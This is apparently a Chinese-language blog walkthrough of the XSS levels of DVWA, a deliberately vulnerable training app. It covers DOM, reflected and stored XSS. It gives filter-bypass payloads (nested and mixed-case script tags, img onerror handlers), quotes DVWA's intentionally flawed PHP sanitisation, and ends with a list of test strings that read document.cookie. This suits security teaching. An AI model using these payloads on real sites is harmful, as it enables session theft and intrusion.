DVWA-XSS

DOM

low

这是一个下拉框的形式,但是如果我们不让他等于English呢,换成js代码呢?

复制代码
<script>alert('xss');</script>

Medium

<script> 标签,但仅使用简单的字符串匹配进行替换(比如移除 "<script")。绕过 <script> 标签限制,使用 HTML 事件属性(如 onerror, onload

javascript 复制代码
?default=English>/option></select><img src='#' onerror='alert(1)'>

High

开发者现在只允许白名单语言(如 English、French),不允许任意值传入

利用 URL 的 fragment 部分 (即 # 后的内容),这部分不会被发送到服务器,因此无法被服务器端过滤。

javascript 复制代码
?default=English#<script>alert(1)</script>

Reflected

low

javascript 复制代码
<script>alert("css");</script>

Medium

当我们输入<script>alert("css");</script>,发现script标签不见了,我们可以试试双写。

javascript 复制代码
<sc<script>ript>alert("css");</scrip</script>t>

我们查看一下源码,确实对标签进行了一个过滤。挺抽象的,居然只对这个<script>进行检查。

javascript 复制代码
$name = str_replace( '<script>', '', $_GET[ 'name' ] ); 

那我们可以构造一个:

javascript 复制代码
<sc<script>ript>alert("css");</script>

那其实这样子也有其他方法,比如大小写:

javascript 复制代码
<sCrIPt>alert("x");</sCrIpT>

High

不用想,肯定比上一关过滤的更加严格,那我们除了alert还有什么,有的

javascript 复制代码
<img src=# onerror=alert("xss")>

查看源码:可以看到不让你出现script标签,但是除了这个标签还有很多其他实用的。

javascript 复制代码
 $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] ); 

Stored

low

Medium

用这个好像都可以直接就过了(苦笑)。

javascript 复制代码
<img src=# onerror=alert("xss")>

查看源码

javascript 复制代码
<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = strip_tags( addslashes( $message ) );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $message = htmlspecialchars( $message );

    // Sanitize name input
    $name = str_replace( '<script>', '', $name );
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    //mysql_close();
}

?> 

首先trim()函数去除首尾空格,strip_tags() 从字符串中去除HTML和PHP标记,其次**addslashes()** 返回在预定义字符前添加反斜杠的字符串。预定义字符包括单引号 (')、双引号 (")、反斜杠 (\) 和 NULL (NUL),**ysqli_real_escape_string()**转义在 SQL 语句中使用的字符串中的特殊字符,<script>替换了这个标签。

我们看到,大多数是对result进行一个审核,我们还有一种方法就是把重心放在name上,因为对他的过滤比较少。

javascript 复制代码
name=<sc<script>ript>alert("x");</script>
message=123

大小写其实也是很重要的一种思路:

javascript 复制代码
name=<sCrIPT>alert("x");</sCrIPT>
message=123

High

思路: 利用HTML事件处理器来触发JavaScript代码,例如使用 <img src=x onerror=alert('XSS')>。这种方式不需要直接使用 <script> 标签就能执行JavaScript代码。

javascript 复制代码
通过使用htmlspecialchars函数,解决了XSS,所以无法注入。

通常有一些方式可以测试网站是否有正确处理特殊字符:

><script>alert(document.cookie)</script>

='><script>alert(document.cookie)</script>

"><script>alert(document.cookie)</script>

<script>alert(document.cookie)</script>

<script>alert (vulnerable)</script>

%3Cscript%3Ealert('XSS')%3C/script%3E

<script>alert('XSS')</script>

<img src="javascript:alert('XSS')">

<img src="http://xxx.com/yyy.png" onerror="alert('XSS')">

<div style="height:expression(alert('XSS'),1)"></div>(这个仅于IE7(含)之前有效) 
相关推荐
流觞 无依1 天前
DedeCMS plus/comment.php 评论 XSS/注入(XSS、SQL注入)修复教程
sql·php·xss
oi..2 天前
《Web 安全入门|XSS 漏洞原理、CSP 策略与 HttpOnly 防护实践》
前端·网络·测试工具·安全·web安全·xss
Palpitate_LL2 天前
从XSS到“RCE“的PC端利用链构建
前端·xss
oi..2 天前
Web 安全入门:XSS 漏洞原理与防护学习笔记 [ OWASP Top10 漏洞原理学习(仅用于合规测试)]
前端·网络·笔记·安全·网络安全·xss
网安老伯2 天前
护网行动防守实战:Web应用XSS漏洞应急处置与防护体系搭建_护网行动web应用
linux·运维·服务器·前端·web安全·网络安全·xss
鹅天帝5 天前
20260407网安学习日志——序列化漏洞
前端·学习·web安全·网络安全·xss
cTz6FE7gA6 天前
XSS、CSRF、SQL注入、防重放与敏感数据保护的分层策略
sql·xss·csrf
188号安全攻城狮6 天前
【前端安全】Trusted Types 全维度技术指南:CSP 原生 DOM XSS 防御终极方案
前端·安全·网络安全·xss
LlNingyu8 天前
什么是SSRF,它最基本的形式是什么(一)
前端·网络·安全·web安全·xss·csrf
admin and root9 天前
XSS之Flash弹窗钓鱼
前端·网络·安全·web安全·渗透测试·xss·src